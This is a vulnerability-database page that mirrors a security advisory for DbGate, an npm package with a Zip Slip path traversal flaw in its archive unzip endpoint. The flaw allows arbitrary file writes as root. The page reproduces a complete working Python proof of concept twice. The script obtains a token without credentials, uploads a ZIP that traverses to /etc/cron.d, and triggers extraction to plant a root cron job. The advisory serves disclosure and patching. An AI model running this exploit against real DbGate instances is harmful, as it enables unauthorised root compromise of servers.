GHSA-H535-J5HR-MV56

Vulnerability from github – Published: 2026-06-05 16:26 – Updated: 2026-06-05 16:26
VLAI
Summary
DbGate: Zip Slip in archive/unzip allows arbitrary file write leading to RCE
Details

The unzipDirectory() function in packages/api/src/shell/unzipDirectory.js (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with ../ entries writes files anywhere on the filesystem.

In the default Docker deployment, DbGate runs as root and the none auth provider issues JWT tokens without credentials via POST /auth/login, so this is exploitable by any network-adjacent attacker.

Affected code:

packages/api/src/shell/unzipDirectory.js, line 27:

const destPath = path.join(outputDirectory, entry.fileName);
// No check that destPath stays within outputDirectory

Called from packages/api/src/controllers/archive.js, lines 291-293:

async unzip({ folder }) {
    const newFolder = await this.getNewArchiveFolder({ database: folder.slice(0, -4) });
    await unzipDirectory(path.join(archivedir(), folder), path.join(archivedir(), newFolder));

The archive controller also has zero permission checks and zero path traversal protection on any of its endpoints.

PoC:

import requests, zipfile, io

TARGET = "http://localhost:3000"

# Get auth token (no credentials needed in default Docker)
r = requests.post(f"{TARGET}/api/auth/login", json={"amoid": "none"})
token = r.json()["accessToken"]
hdrs = {"Authorization": f"Bearer {token}"}

# Create malicious ZIP with path traversal
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
    zf.writestr("../../../../../../etc/cron.d/dbgate-pwn",
                "* * * * * root id > /tmp/pwned\n")
buf.seek(0)

# Upload ZIP
r = requests.post(f"{TARGET}/api/uploads/upload", headers=hdrs,
                  files={"data": ("evil.zip", buf, "application/zip")})
info = r.json()

# Save to archive
requests.post(f"{TARGET}/api/archive/save-uploaded-zip", headers=hdrs,
              json={"filePath": info["filePath"], "fileName": "evil.zip"})

# Trigger Zip Slip - writes cron job to /etc/cron.d/
requests.post(f"{TARGET}/api/archive/unzip", headers=hdrs,
              json={"folder": "evil.zip"})
print("Check /tmp/pwned after 1 minute")

Impact: Arbitrary file write as root -> RCE. Full container compromise in Docker deployments.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.1.8"
      },
      "package": {
        "ecosystem": "npm",
        "name": "dbgate"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.1.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47669"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-05T16:26:01Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "The `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with `../` entries writes files anywhere on the filesystem.\n\nIn the default Docker deployment, DbGate runs as root and the `none` auth provider issues JWT tokens without credentials via `POST /auth/login`, so this is exploitable by any network-adjacent attacker.\n\n**Affected code:**\n\n`packages/api/src/shell/unzipDirectory.js`, line 27:\n```js\nconst destPath = path.join(outputDirectory, entry.fileName);\n// No check that destPath stays within outputDirectory\n```\n\nCalled from `packages/api/src/controllers/archive.js`, lines 291-293:\n```js\nasync unzip({ folder }) {\n    const newFolder = await this.getNewArchiveFolder({ database: folder.slice(0, -4) });\n    await unzipDirectory(path.join(archivedir(), folder), path.join(archivedir(), newFolder));\n```\n\nThe archive controller also has zero permission checks and zero path traversal protection on any of its endpoints.\n\n**PoC:**\n\n```python\nimport requests, zipfile, io\n\nTARGET = \"http://localhost:3000\"\n\n# Get auth token (no credentials needed in default Docker)\nr = requests.post(f\"{TARGET}/api/auth/login\", json={\"amoid\": \"none\"})\ntoken = r.json()[\"accessToken\"]\nhdrs = {\"Authorization\": f\"Bearer {token}\"}\n\n# Create malicious ZIP with path traversal\nbuf = io.BytesIO()\nwith zipfile.ZipFile(buf, \u0027w\u0027) as zf:\n    zf.writestr(\"../../../../../../etc/cron.d/dbgate-pwn\",\n                \"* * * * * root id \u003e /tmp/pwned\\n\")\nbuf.seek(0)\n\n# Upload ZIP\nr = requests.post(f\"{TARGET}/api/uploads/upload\", headers=hdrs,\n                  files={\"data\": (\"evil.zip\", buf, \"application/zip\")})\ninfo = r.json()\n\n# Save to archive\nrequests.post(f\"{TARGET}/api/archive/save-uploaded-zip\", headers=hdrs,\n              json={\"filePath\": info[\"filePath\"], \"fileName\": \"evil.zip\"})\n\n# Trigger Zip Slip - writes cron job to /etc/cron.d/\nrequests.post(f\"{TARGET}/api/archive/unzip\", headers=hdrs,\n              json={\"folder\": \"evil.zip\"})\nprint(\"Check /tmp/pwned after 1 minute\")\n```\n\n**Impact:** Arbitrary file write as root -\u003e RCE. Full container compromise in Docker deployments.",
  "id": "GHSA-h535-j5hr-mv56",
  "modified": "2026-06-05T16:26:01Z",
  "published": "2026-06-05T16:26:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/dbgate/dbgate/security/advisories/GHSA-h535-j5hr-mv56"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/dbgate/dbgate"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dbgate/dbgate/releases/tag/v7.1.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "DbGate: Zip Slip in archive/unzip allows arbitrary file write leading to RCE"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…